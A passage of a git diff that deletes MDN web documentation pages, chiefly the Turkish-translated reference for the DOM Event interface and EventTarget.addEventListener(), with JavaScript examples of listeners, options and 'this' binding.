<li>{{domxref("UIEvent")}}</li> - <li>{{domxref("UserProximityEvent")}}</li> - <li>{{domxref("WebGLContextEvent")}}</li> - <li>{{domxref("WheelEvent")}}</li> -</ul> -</div> - -<h2 id="Constructor" name="Constructor">Constructor</h2> - -<dl> - <dt>{{domxref("Event.Event", "Event()")}}</dt> - <dd>Creates an <code>Event</code> object, returning it to the caller.</dd> -</dl> - -<h2 id="Properties" name="Properties">Properties</h2> - -<dl> - <dt>{{domxref("Event.bubbles")}} {{readonlyinline}}</dt> - <dd>A Boolean indicating whether the event bubbles up through the DOM or not.</dd> - <dt>{{domxref("Event.cancelBubble")}}</dt> - <dd>A historical alias to {{domxref("Event.stopPropagation()")}}. Setting its value to <code>true</code> before returning from an event handler prevents propagation of the event.</dd> - <dt>{{domxref("Event.cancelable")}} {{readonlyinline}}</dt> - <dd>A Boolean indicating whether the event is cancelable.</dd> - <dt>{{domxref("Event.composed")}} {{ReadOnlyInline}}</dt> - <dd>A Boolean value indicating whether or not the event can bubble across the boundary between the shadow DOM and the regular DOM.</dd> - <dt>{{domxref("Event.currentTarget")}} {{readonlyinline}}</dt> - <dd>A reference to the currently registered target for the event. This is the object to which the event is currently slated to be sent; it's possible this has been changed along the way through <em>retargeting</em>.</dd> - <dt>{{domxref("Event.deepPath")}} {{non-standard_inline}}</dt> - <dd>An {{jsxref("Array")}} of DOM {{domxref("Node")}}s through which the event has bubbled.</dd> - <dt>{{domxref("Event.defaultPrevented")}} {{readonlyinline}}</dt> - <dd>Indicates whether or not {{domxref("event.preventDefault()")}} has been called on the event.</dd> - <dt>{{domxref("Event.eventPhase")}} {{readonlyinline}}</dt> - <dd>Indicates which phase of the event flow is being processed.</dd> - <dt>{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt> - <dd>The explicit original target of the event (Mozilla-specific).</dd> - <dt>{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt> - <dd>The original target of the event, before any retargetings (Mozilla-specific).</dd> - <dt>{{domxref("Event.returnValue")}}</dt> - <dd>A historical property introduced by Internet Explorer and eventually adopted into the DOM specification in order to ensure existing sites continue to work. Ideally, you should try to use {{domxref("Event.preventDefault()")}} and {{domxref("Event.defaultPrevented")}} instead, but you can use <code>returnValue</code> if you choose to do so.</dd> - <dt>{{domxref("Event.srcElement")}} {{non-standard_inline}}</dt> - <dd>A non-standard alias (from old versions of Microsoft Internet Explorer) for {{domxref("Event.target")}}, which is starting to be supported in some other browsers for web compatibility purposes.</dd> - <dt>{{domxref("Event.target")}} {{readonlyinline}}</dt> - <dd>A reference to the target to which the event was originally dispatched.</dd> - <dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt> - <dd>The time at which the event was created (in milliseconds). By specification, this value is time since epoch, but in reality browsers' definitions vary; in addition, work is underway to change this to be a {{domxref("DOMHighResTimeStamp")}} instead.</dd> - <dt>{{domxref("Event.type")}} {{readonlyinline}}</dt> - <dd>The name of the event (case-insensitive).</dd> - <dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt> - <dd>Indicates whether or not the event was initiated by the browser (after a user click for instance) or by a script (using an event creation method, like <a href="/en-US/docs/DOM/event.initEvent">event.initEvent</a>).</dd> -</dl> - -<h3 id="Obsolete_properties">Obsolete properties</h3> - -<dl> - <dt>{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}</dt> - <dd>A {{jsxref("Boolean")}} indicating whether the given event will bubble across through the shadow root into the standard DOM. This property has been renamed to {{domxref("Event.composed", "composed")}}.</dd> -</dl> - -<h2 id="Methods" name="Methods">Methods</h2> - -<dl> - <dt>{{domxref("Event.createEvent()")}} {{deprecated_inline}}</dt> - <dd> - <p>Creates a new event, which must then be initialized by calling its <code>initEvent()</code> method.</p> - </dd> - <dt>{{domxref("Event.composedPath()")}}</dt> - <dd>Returns the event’s path (objects on which listeners will be invoked). This does not include nodes in shadow trees if the shadow root was created with its {{domxref("ShadowRoot.mode")}} closed.</dd> -</dl> - -<dl> - <dt>{{domxref("Event.initEvent()")}} {{deprecated_inline}}</dt> - <dd>Initializes the value of an Event created. If the event has already being dispatched, this method does nothing.</dd> - <dt>{{domxref("Event.preventDefault()")}}</dt> - <dd>Cancels the event (if it is cancelable).</dd> - <dt>{{domxref("Event.stopImmediatePropagation()")}}</dt> - <dd>For this particular event, no other listener will be called. Neither those attached on the same element, nor those attached on elements which will be traversed later (in capture phase, for instance)</dd> - <dt>{{domxref("Event.stopPropagation()")}}</dt> - <dd>Stops the propagation of events further along in the DOM.</dd> -</dl> - -<h3 id="Obsolete_methods">Obsolete methods</h3> - -<dl> - <dt>{{domxref("Event.getPreventDefault()")}} {{non-standard_inline}}</dt> - <dd>Non-standard. Returns the value of {{domxref("Event.defaultPrevented")}}. Use {{domxref("Event.defaultPrevented")}} instead.</dd> - <dt>{{domxref("Event.preventBubble()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt> - <dd>Prevents the event from bubbling. Obsolete, use {{domxref("event.stopPropagation")}} instead.</dd> - <dt>{{domxref("Event.preventCapture()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt> - <dd>Obsolete, use {{domxref("event.stopPropagation")}} instead.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.Event")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>Types of events available: <a href="/en-US/docs/Web/Reference/Events">Event reference</a></li> - <li><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparison of Event Targets</a> (target vs currentTarget vs relatedTarget vs originalTarget)</li> - <li><a href="/en-US/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Creating and triggering custom events</a></li> - <li>For Firefox add-on developers: - <ul> - <li><a href="/en-US/docs/Listening_to_events_in_Firefox_extensions">Listening to events in Firefox extensions</a></li> - <li><a href="/en-US/docs/Listening_to_events_on_all_tabs">Listening to events on all tabs</a></li> - </ul> - </li> -</ul> diff --git a/files/tr/web/api/eventtarget/addeventlistener/index.html b/files/tr/web/api/eventtarget/addeventlistener/index.html deleted file mode 100644 index 10d3da4d1a..0000000000 --- a/files/tr/web/api/eventtarget/addeventlistener/index.html +++ /dev/null @@ -1,774 +0,0 @@ ---- -title: EventTarget.addEventListener() -slug: Web/API/EventTarget/addEventListener -translation_of: Web/API/EventTarget/addEventListener ---- -<div>{{APIRef("DOM Events")}}</div> - -<p><span class="seoSummary">{{domxref("EventTarget")}} yöntemi olan <code>addEventListener()</code>, belli bir olay hedefteki elemana ulaştığında çağırılmak üzere bir fonksiyon ayarlar. </span>{{domxref("Element")}}, {{domxref("Document")}}, ve {{domxref("Window")}} en yaygın hedefler olmakla beraber, olayları destekleyen diğer nesneler de olabilir (mesela {{domxref("XMLHttpRequest")}}).</p> - -<p><code>addEventListener()</code> belirli bir olayın dinleyicileri listesine, {{domxref("EventListener")}}'i uygulayabilecek bir fonksiyon ya da nesne ekleyerek çalışır. Olay gerçekleştiğinde bu fonksiyon ya da nese çağırılır.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox notranslate"><var>target</var>.addEventListener(<var>type</var>, <var>listener</var> [, <var>options</var>]); -<var>target</var>.addEventListener(<var>type</var>, <var>listener</var> [, <var>useCapture</var>]); -<var>target</var>.addEventListener(<var>type</var>, <var>listener</var> [, <var>useCapture</var>, <var>wantsUntrusted</var> {{Non-standard_inline}}]); // Sadece Gecko/Mozilla</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code><var>type</var></code></dt> - <dd>Dinlenecek olan <a href="/en-US/docs/Web/Events">olay tipini</a> belirten, büyük küçük harfe duyarlı dizi</dd> - <dt><code><var>listener</var></code></dt> - <dd>The object that receives a notification (an object that implements the {{domxref("Event")}} interface) when an event of the specified type occurs. This must be an object implementing the {{domxref("EventListener")}} interface, or a JavaScript <a href="/en-US/docs/JavaScript/Guide/Functions">function</a>. See {{anch("The event listener callback")}} for details on the callback itself.</dd> - <dt><code><var>options</var></code> {{optional_inline}}</dt> - <dd> - <p>An options object specifies characteristics about the event listener. The available options are:</p> - - <dl> - <dt><code><var>capture</var></code></dt> - <dd>A {{jsxref("Boolean")}} indicating that events of this type will be dispatched to the registered <code>listener</code> before being dispatched to any <code>EventTarget</code> beneath it in the DOM tree.</dd> - <dt><code><var>once</var></code></dt> - <dd>A {{jsxref("Boolean")}} indicating that the <code><var>listener</var></code> should be invoked at most once after being added. If <code>true</code>, the <code><var>listener</var></code> would be automatically removed when invoked.</dd> - <dt><code><var>passive</var></code></dt> - <dd>A {{jsxref("Boolean")}} that, if <code>true</code>, indicates that the function specified by <code><var>listener</var></code> will never call {{domxref("Event.preventDefault", "preventDefault()")}}. If a passive listener does call <code>preventDefault()</code>, the user agent will do nothing other than generate a console warning. See {{anch("Improving scrolling performance with passive listeners")}} to learn more.</dd> - <dt>{{non-standard_inline}} <code><var>mozSystemGroup</var></code></dt> - <dd>A {{jsxref("Boolean")}} indicating that the listener should be added to the system group. Available only in code running in XBL or in the {{glossary("chrome")}} of the Firefox browser.</dd> - </dl> - </dd> - <dt><code><var>useCapture</var></code> {{optional_inline}}</dt> - <dd>A {{jsxref("Boolean")}} indicating whether events of this type will be dispatched to the registered <code><var>listener</var></code> <em>before</em> being dispatched to any <code>EventTarget</code> beneath it in the DOM tree. Events that are bubbling upward through the tree will not trigger a listener designated to use capture. Event bubbling and capturing are two ways of propagating events that occur in an element that is nested within another element, when both elements have registered a handle for that event. The event propagation mode determines the order in which elements receive the event. See <a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events</a> and <a href="http://www.quirksmode.org/js/events_order.html#link4">JavaScript Event order</a> for a detailed explanation. If not specified, <code><var>useCapture</var></code> defaults to <code>false</code>.</dd> - <dd> - <div class="note"><strong>Note:</strong> For event listeners attached to the event target, the event is in the target phase, rather than the capturing and bubbling phases. Events in the target phase will trigger all listeners on an element in the order they were registered, regardless of the <code><var>useCapture</var></code> parameter.</div> - - <div class="note"><strong>Note:</strong> <code><var>useCapture</var></code> has not always been optional. Ideally, you should include it for the widest possible browser compatibility.</div> - </dd> - <dt><code><var>wantsUntrusted</var></code> {{Non-standard_inline}}</dt> - <dd>A Firefox (Gecko)-specific parameter. If <code>true</code>, the listener receives synthetic events dispatched by web content (the default is <code>false</code> for browser {{glossary("chrome")}} and <code>true</code> for regular web pages). This parameter is useful for code found in add-ons, as well as the browser itself.</dd> -</dl> - -<h3 id="Döndürülen_değer">Döndürülen değer</h3> - -<p><code>undefined</code></p> - -<h2 id="Kullanım_Notları">Kullanım Notları</h2> - -<h3 id="Olay_dinleyicisi_callbacki">Olay dinleyicisi callback'i</h3> - -<p>The event listener can be specified as either a callback function or an object that implements {{domxref("EventListener")}}, whose {{domxref("EventListener.handleEvent()", "handleEvent()")}} method serves as the callback function.</p> - -<p>The callback function itself has the same parameters and return value as the <code>handleEvent()</code> method; that is, the callback accepts a single parameter: an object based on {{domxref("Event")}} describing the event that has occurred, and it returns nothing.</p> - -<p>For example, an event handler callback that can be used to handle both {{event("fullscreenchange")}} and {{event("fullscreenerror")}} might look like this:</p> - -<pre class="brush: js notranslate">function eventHandler(event) { - if (event.type == 'fullscreenchange') { - /* handle a full screen toggle */ - } else /* fullscreenerror */ { - /* handle a full screen toggle error */ - } -}</pre> - -<h3 id="Güvenli_bir_şekilde_option_desteğini_fark_etmek">Güvenli bir şekilde option desteğini fark etmek</h3> - -<p>In older versions of the DOM specification, the third parameter of <code>addEventListener()</code> was a Boolean value indicating whether or not to use capture. Over time, it became clear that more options were needed. Rather than adding more parameters to the function (complicating things enormously when dealing with optional values), the third parameter was changed to an object that can contain various properties defining the values of options to configure the process of removing the event listener.</p> - -<p>Because older browsers (as well as some not-too-old browsers) still assume the third parameter is a Boolean, you need to build your code to handle this scenario intelligently. You can do this by using feature detection for each of the options you're interested in.</p> - -<p>For example, if you want to check for the <code><var>passive</var></code> option:</p> - -<pre class="brush: js notranslate">let passiveSupported = false; - -try { - const options = { - get passive() { // This function will be called when the browser - // attempts to access the passive property. - passiveSupported = true; - return false; - } - }; - - window.addEventListener("test", null, options); - window.removeEventListener("test", null, options); -} catch(err) { - passiveSupported = false; -} -</pre> - -<p>This creates an <code><var>options</var></code> object with a getter function for the <code><var>passive</var></code> property; the getter sets a flag, <code><var>passiveSupported</var></code>, to <code>true</code> if it gets called. That means that if the browser checks the value of the <code><var>passive</var></code> property on the <code><var>options</var></code> object, <code><var>passiveSupported</var></code> will be set to <code>true</code>; otherwise, it will remain <code>false</code>. We then call <code>addEventListener()</code> to set up a fake event handler, specifying those options, so that the options will be checked if the browser recognizes an object as the third parameter. Then, we call <code>removeEventListener()</code> to clean up after ourselves. (Note that <code>handleEvent()</code> is ignored on event listeners that aren't called.)</p> - -<p>You can check whether any option is supported this way. Just add a getter for that option using code similar to what is shown above.</p> - -<p>Then, when you want to create an actual event listener that uses the options in question, you can do something like this:</p> - -<pre class="brush: js notranslate">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported - ? { passive: true } : false);</pre> - -<p>Here we're adding a listener for the {{event("mouseup")}} event on the element <code>someElement</code>. For the third parameter, if <code>passiveSupported</code> is <code>true</code>, we're specifying an <code>options</code> object with <code>passive</code> set to <code>true</code>; otherwise, we know that we need to pass a Boolean, and we pass <code>false</code> as the value of the <code>useCapture</code> parameter.</p> - -<p>If you'd prefer, you can use a third-party library like <a href="https://modernizr.com/docs">Modernizr</a> or <a href="https://github.com/rafrex/detect-it">Detect It</a> to do this test for you.</p> - -<p>You can learn more from the article about <code><a href="https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md#feature-detection">EventListenerOptions</a></code> from the <a href="https://wicg.github.io/admin/charter.html">Web Incubator Community Group</a>.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Basit_bir_dinleyici_ekleme">Basit bir dinleyici ekleme</h3> - -<p>This example demonstrates how to use <code>addEventListener()</code> to watch for mouse clicks on an element.</p> - -<h4 id="HTML">HTML</h4> - -<pre class="brush: html notranslate"><table id="outside"> - <tr><td id="t1">one</td></tr> - <tr><td id="t2">two</td></tr> -</table> -</pre> - -<h4 id="JavaScript">JavaScript</h4> - -<pre class="brush: js notranslate">// t2'nin içeriğini değiştirme fonksiyonu -function modifyText() { - const t2 = document.getElementById("t2"); - if (t2.firstChild.nodeValue == "three") { - t2.firstChild.nodeValue = "two"; - } else { - t2.firstChild.nodeValue = "three"; - } -} - -// Tabloya olay dinleyicisi ekleme -const el = document.getElementById("outside"); -el.addEventListener("click", modifyText, false); -</pre> - -<p>In this code, <code>modifyText()</code> is a listener for <code>click</code> events registered using <code>addEventListener()</code>. A click anywhere in the table bubbles up to the handler and runs <code>modifyText()</code>.</p> - -<h4 id="Sonuç">Sonuç</h4> - -<p>{{EmbedLiveSample('Add_a_simple_listener')}}</p> - -<h3 id="Anonim_fonksiyonlu_olay_dinleyicisi">Anonim fonksiyonlu olay dinleyicisi</h3> - -<p>Here, we'll take a look at how to use an anonymous function to pass parameters into the event listener.</p> - -<h4 id="HTML_2">HTML</h4> - -<pre class="brush: html notranslate"><table id="outside"> - <tr><td id="t1">one</td></tr> - <tr><td id="t2">two</td></tr> -</table></pre> - -<h4 id="JavaScript_2">JavaScript</h4> - -<pre class="brush: js notranslate">// t2'nin içeriğini değiştirme fonksiyonu -function modifyText(new_text) { - const t2 = document.getElementById("t2"); - t2.firstChild.nodeValue = new_text; -} - -// Tabloya olay dinleyicisi ekleme fonksiyonu -const el = document.getElementById("outside"); -el.addEventListener("click", function(){modifyText("four")}, false); -</pre> - -<p>Notice that the listener is an anonymous function that encapsulates code that is then, in turn, able to send parameters to the <code>modifyText()</code> function, which is responsible for actually responding to the event.</p> - -<h4 id="Sonuç_2">Sonuç</h4> - -<p>{{EmbedLiveSample('Event_listener_with_anonymous_function')}}</p> - -<h3 id="Oklu_fonksiyon_ile_olay_dinleyicisi">Oklu fonksiyon ile olay dinleyicisi</h3> - -<p>This example demonstrates a simple event listener implemented using arrow function notation.</p> - -<h4 id="HTML_3">HTML</h4> - -<pre class="brush: html notranslate"><table id="outside"> - <tr><td id="t1">one</td></tr> - <tr><td id="t2">two</td></tr> -</table> -</pre> - -<h4 id="JavaScript_3">JavaScript</h4> - -<pre class="brush: js notranslate">// t2'nin içeriğini değiştirme fonksiyonu -function modifyText(new_text) { - const t2 = document.getElementById("t2"); - t2.firstChild.nodeValue = new_text; -} - -// Oklu fonksiyon ile tabloya olay dinleyicisi ekleme -const el = document.getElementById("outside"); -el.addEventListener("click", () => { modifyText("four"); }, false); -</pre> - -<h4 id="Sonuç_3">Sonuç</h4> - -<p>{{EmbedLiveSample('Event_listener_with_an_arrow_function')}}</p> - -<p>Please note that while anonymous and arrow functions are similar, they have different <code>this</code> bindings. While anonymous (and all traditional JavaScript functions) create their own <code>this</code> bindings, arrow functions inherit the <code>this</code> binding of the containing function.</p> - -<p>That means that the variables and constants available to the containing function are also available to the event handler when using an arrow function.</p> - -<h3 id="Options_kullanma_örnekleri">Options kullanma örnekleri</h3> - -<h4 id="HTML_4">HTML</h4> - -<pre class="brush: html notranslate"><div class="outer"> - outer, once & none-once - <div class="middle" target="_blank"> - middle, capture & none-capture - <a class="inner1" href="https://www.mozilla.org" target="_blank"> - inner1, passive & preventDefault(which is not allowed) - </a> - <a class="inner2" href="https://developer.mozilla.org/" target="_blank"> - inner2, none-passive & preventDefault(not open new page) - </a> - </div> -</div> -</pre> - -<h4 id="CSS">CSS</h4> - -<pre class="brush: css notranslate">.outer, .middle, .inner1, .inner2 { - display: block; - width: 520px; - padding: 15px; - margin: 15px; - text-decoration: none; -} -.outer { - border: 1px solid red; - color: red; -} -.middle { - border: 1px solid green; - color: green; - width: 460px; -} -.inner1, .inner2 { - border: 1px solid purple; - color: purple; - width: 400px; -} -</pre> - -<h4 id="JavaScript_4">JavaScript</h4> - -<pre class="brush: js notranslate">const outer = document.querySelector('.outer'); -const middle = document.querySelector('.middle'); -const inner1 = document.querySelector('.inner1'); -const inner2 = document.querySelector('.inner2'); - -const capture = { - capture : true -}; -const noneCapture = { - capture : false -}; -const once = { - once : true -}; -const noneOnce = { - once : false -}; -const passive = { - passive : true -}; -const nonePassive = { - passive : false -}; - -outer.addEventListener('click', onceHandler, once); -outer.addEventListener('click', noneOnceHandler, noneOnce); -middle.addEventListener('click', captureHandler, capture); -middle.addEventListener('click', noneCaptureHandler, noneCapture); -inner1.addEventListener('click', passiveHandler, passive); -inner2.addEventListener('click', nonePassiveHandler, nonePassive); - -function onceHandler(event) { - alert('outer, once'); -} -function noneOnceHandler(event) { - alert('outer, none-once, default'); -} -function captureHandler(event) { - //event.stopImmediatePropagation(); - alert('middle, capture'); -} -function noneCaptureHandler(event) { - alert('middle, none-capture, default'); -} -function passiveHandler(event) { - // Unable to preventDefault inside passive event listener invocation. - event.preventDefault(); - alert('inner1, passive, open new page'); -} -function nonePassiveHandler(event) { - event.preventDefault(); - //event.stopPropagation(); - alert('inner2, none-passive, default, not open new page'); -} -</pre> - -<h4 id="Sonuç_4">Sonuç</h4> - -<p>Click the outer, middle, inner containers respectively to see how the options work.</p> - -<p>{{ EmbedLiveSample('Example_of_options_usage', 600, 310, '', 'Web/API/EventTarget/addEventListener') }}</p> - -<p>Before using a particular value in the <code><var>options</var></code> object, it's a good idea to ensure that the user's browser supports it, since these are an addition that not all browsers have supported historically. See {{anch("Safely detecting option support")}} for details.</p> - -<h2 id="Diğer_notlar">Diğer notlar</h2> - -<h3 id="Neden_addEventListener_kullanalım">Neden <code>addEventListener()</code> kullanalım?</h3> - -<p><code>addEventListener()</code> is the way to register an event listener as specified in W3C DOM. The benefits are as follows:</p> - -<ul> - <li>It allows adding more than a single handler for an event. This is particularly useful for {{Glossary("AJAX")}} libraries, JavaScript modules, or any other kind of code that needs to work well with other libraries/extensions.</li> - <li>It gives you finer-grained control of the phase when the listener is activated (capturing vs. bubbling).</li> - <li>It works on any DOM element, not just HTML elements.</li> -</ul> - -<p>The alternative, <a href="#Older_way_to_register_event_listeners">older way to register event listeners</a>, is described below.</p> - -<h3 id="Olay_servisi_anında_dinleyici_eklemek">Olay servisi anında dinleyici eklemek</h3> - -<p>Eğer bir {{domxref("EventListener")}} {{domxref("EventTarget")}}'a olayı işlerken eklenirse, o dinleyici o olaydan dolay tetiklenmez. Ancak, yeni eklenen bu dinleyici, olayın servisinin ileriki bir sürecinde tetiklenebilir, mesela 'bubbling phase' (olay dinleyicisinin alt elemanlardan üst elemanlara doğru ilerlediği durum).</p> - -<h3 id="Birden_fazla_aynı_olay_dinleyicisi">Birden fazla aynı olay dinleyicisi</h3> - -<p>If multiple identical <code>EventListener</code>s are registered on the same <code>EventTarget</code> with the same parameters, the duplicate instances are discarded. They do not cause the <code>EventListener</code> to be called twice, and they do not need to be removed manually with the {{domxref("EventTarget.removeEventListener()", "removeEventListener()")}} method.</p> - -<p>Note, however that when using an anonymous function as the handler, such listeners will NOT be identical, because anonymous functions are not identical even if defined using the SAME unchanging source-code simply called repeatedly, even if in a loop.</p> - -<p>However, repeatedly defining the same named function in such cases can be more problematic. (See <a href="#Memory_issues">Memory issues</a>, below.)</p> - -<h3 id="Olay_giderici_içinde_this_in_değeri">Olay giderici içinde <code>this</code> 'in değeri</h3> - -<p>It is often desirable to reference the element on which the event handler was fired, such as when using a generic handler for a set of similar elements.</p> - -<p>If attaching a handler function to an element using <code>addEventListener()</code>, the value of {{jsxref("Operators/this","this")}}> inside the handler is a reference to the element. It is the same as the value of the <code>currentTarget</code> property of the event argument that is passed to the handler.</p> - -<pre class="brush: js notranslate">my_element.addEventListener('click', function (e) { - console.log(this.className) // logs the className of my_element - console.log(e.currentTarget === this) // logs `true` -}) -</pre> - -<p>As a reminder, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions#No_separate_this">arrow functions do not have their own <code>this</code> context</a>.</p> - -<pre class="brush: js notranslate">my_element.addEventListener('click', (e) => { - console.log(this.className) // WARNING: `this` is not `my_element` - console.log(e.currentTarget === this) // logs `false` -})</pre> - -<p>If an event handler (for example, {{domxref("Element.onclick", "onclick")}}) is specified on an element in the HTML source, the JavaScript code in the attribute value is effectively wrapped in a handler function that binds the value of <code>this</code> in a manner consistent with the <code>addEventListener()</code>; an occurrence of <code>this</code> within the code represents a reference to the element.</p> - -<pre class="brush: html notranslate"><table id="my_table" onclick="console.log(this.id);"><!-- `this` refers to the table; logs 'my_table' --> - ... -</table> -</pre> - -<p>Note that the value of <code>this</code> inside a function, <em>called by</em> the code in the attribute value, behaves as per <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">standard rules</a>. This is shown in the following example:</p> - -<pre class="brush: html notranslate"><script> - function logID() { console.log(this.id); } -</script> -<table id="my_table" onclick="logID();"><!-- when called, `this` will refer to the global object --> - ... -</table> -</pre> - -<p>The value of <code>this</code> within <code>logID()</code> is a reference to the global object {{domxref("Window")}} (or <code>undefined</code> in the case of {{jsxref("Reference/Strict_mode", "strict mode")}}.</p> - -<h4 id="this_i_bind_kullanarak_belirtmek"> <code>this</code> 'i <code>bind()</code> kullanarak belirtmek</h4> - -<p>The {{jsxref("Function.prototype.bind()")}}> method lets you specify the value that should be used as <code>this</code> for all calls to a given function. This lets you easily bypass problems where it's unclear what <code>this</code> will be, depending on the context from which your function was called. Note, however, that you'll need to keep a reference to the listener around so you can remove it later.</p> - -<p>This is an example with and without <code>bind()</code>:</p> - -<pre class="brush: js notranslate">const Something = function(element) { - // |this| is a newly created object - this.name = 'Something Good'; - this.onclick1 = function(event) { - console.log(this.name); // undefined, as |this| is the element - }; - this.onclick2 = function(event) { - console.log(this.name); // 'Something Good', as |this| is bound to newly created object - }; - element.addEventListener('click', this.onclick1, false); - element.addEventListener('click', this.onclick2.bind(this), false); // Trick -} -const s = new Something(document.body); -</pre> - -<p>Another solution is using a special function called <code>handleEvent()</code> to catch any events:</p> - -<pre class="brush: js notranslate">const Something = function(element) { - // |this| is a newly created object - this.name = 'Something Good'; - this.handleEvent = function(event) { - console.log(this.name); // 'Something Good', as this is bound to newly created object - switch(event.type) { - case 'click': - // some code here... - break; - case 'dblclick': - // some code here... - break; - } - }; - - // Note that the listeners in this case are |this|, not this.handleEvent - element.addEventListener('click', this, false); - element.addEventListener('dblclick', this, false); - - // You can properly remove the listeners - element.removeEventListener('click', this, false); - element.removeEventListener('dblclick', this, false); -} -const s = new Something(document.body); -</pre> - -<p>Another way of handling the reference to <em>this</em> is to pass to the <code>EventListener</code> a function that calls the method of the object that contains the fields that need to be accessed:</p> - -<pre class="brush: js notranslate">class SomeClass { - - constructor() { - this.name = 'Something Good'; - } - - register() { - const that = this; - window.addEventListener('keydown', function(e) { that.someMethod(e); }); - } - - someMethod(e) { - console.log(this.name); - switch(e.keyCode) { - case 5: - // some code here... - break; - case 6: - // some code here... - break; - } - } - -} - -const myObject = new SomeClass(); -myObject.register();</pre> - -<h3 id="Olay_dinleyicisinde_data_giriş_çıkışı">Olay dinleyicisinde data giriş çıkışı</h3> - -<p>It may seem that event listeners are like islands, and that it is extremely difficult to pass them any data, much less to get any data back from them after they execute. Event listeners only take one argument, the <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_objects">Event Object</a>, which is automatically passed to the listener, and the return value is ignored. So how can we get data in and back out of them again? There are a number of good methods for doing this.</p> - -<h4 id="Datayı_this_kullanarak_dinleyiciye_iletmek">Datayı <code>this</code> kullanarak dinleyiciye iletmek</h4> - -<p>As mentioned <a href="#Specifying_this_using_bind()">above</a>, you can use <code>Function.prototype.bind()</code> to pass a value to an event listener via the <code>this</code> reference variable.</p> - -<pre class="brush: js notranslate">const myButton = document.getElementById('my-button-id'); -const someString = 'Data'; - -myButton.addEventListener('click', function () { - console.log(this); // Expected Value: 'Data' -}.bind(someString)); -</pre> - -<p>This method is suitable when you don't need to know which HTML element the event listener fired on programmatically from within the event listener. The primary benefit to doing this is that the event listener receives the data in much the same way that it would if you were to actually pass it through its argument list.</p> - -<h4 id="Getting_Data_Into_an_Event_Listener_Using_the_Outer_Scope_Property">Getting Data Into an Event Listener Using the Outer Scope Property</h4> - -<p>When an outer scope contains a variable declaration (with <code>const</code>, <code>let</code>), all the inner functions declared in that scope have access to that variable (look <a href="https://developer.mozilla.org/en-US/docs/Glossary/Function#Different_types_of_functions">here</a> for information on outer/inner functions, and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var#Implicit_globals_and_outer_function_scope">here</a> for information on variable scope). Therefore, one of the simplest ways to access data from outside of an event listener is to make it accessible to the scope in which the event listener is declared.</p> - -<pre class="brush: js notranslate">const myButton = document.getElementById('my-button-id'); -const someString = 'Data'; - -myButton.addEventListener('click', function() { - console.log(someString); // Expected Value: 'Data' - - someString = 'Data Again'; -}); - -console.log(someString); // Expected Value: 'Data' (will never output 'Data Again') -</pre> - -<div class="note"> -<p><strong>Note:</strong> Although inner scopes have access to <code>const</code>, <code>let</code> variables from outer scopes, you cannot expect any changes to these variables to be accessible after the event listener definition, within the same outer scope. Why? Simply because by the time the event listener would execute, the scope in which it was defined would have already finished executing.</p> -</div> - -<h4 id="Getting_Data_Into_and_Out_of_an_Event_Listener_Using_Objects">Getting Data Into and Out of an Event Listener Using Objects</h4> - -<p>Unlike most functions in JavaScript, objects are retained in memory as long as a variable referencing them exists in memory. This, and the fact that objects can have properties, and that they can be passed around by reference, makes them likely candidates for sharing data among scopes. Let's explore this.</p> - -<div class="note"> -<p><strong>Note:</strong> Functions in JavaScript are actually objects. (Hence they too can have properties, and will be retained in memory even after they finish executing if assigned to a variable that persists in memory.)</p> -</div> - -<p>Because object properties can be used to store data in memory as long as a variable referencing the object exists in memory, you can actually use them to get data into an event listener, and any changes to the data back out after an event handler executes. Consider this example.</p> - -<pre class="brush: js notranslate">const myButton = document.getElementById('my-button-id'); -const someObject = {aProperty: 'Data'}; - -myButton.addEventListener('click', function() { - console.log(someObject.aProperty); // Expected Value: 'Data' - - someObject.aProperty = 'Data Again'; // Change the value -}); - -window.setInterval(function() { - if (someObject.aProperty === 'Data Again') { - console.log('Data Again: True'); - someObject.aProperty = 'Data'; // Reset value to wait for next event execution - } -}, 5000); -</pre> - -<p>In this example, even though the scope in which both the event listener and the interval function are defined would have finished executing before the original value of <code>someObject.aProperty</code> would have changed, because <code>someObject</code> persists in memory (by <em>reference</em>) in both the event listener and interval function, both have access to the same data (i.e. when one changes the data, the other can respond to the change).</p> - -<div class="note"> -<p><strong>Note:</strong> Objects are stored in variables by reference, meaning only the memory location of the actual data is stored in the variable. Among other things, this means variables that "store" objects can actually affect other variables that get assigned ("store") the same object reference. When two variables reference the same object (e.g., <code>let a = b = {aProperty: 'Yeah'};</code>), changing the data in either variable will affect the other.</p> -</div> - -<div class="note"> -<p><strong>Note:</strong> Because objects are stored in variables by reference, you can return an object from a function to keep it alive (preserve it in memory so you don't lose the data) after that function stops executing.</p> -</div> - -<h3 id="Internet_Explorerdan_miras_kalan_attachEvent">Internet Explorer'dan miras kalan attachEvent</h3> - -<p>In Internet Explorer versions before IE 9, you have to use {{domxref("EventTarget.attachEvent", "attachEvent()")}}, rather than the standard <code>addEventListener()</code>. For IE, we modify the preceding example to:</p> - -<pre class="brush: js notranslate">if 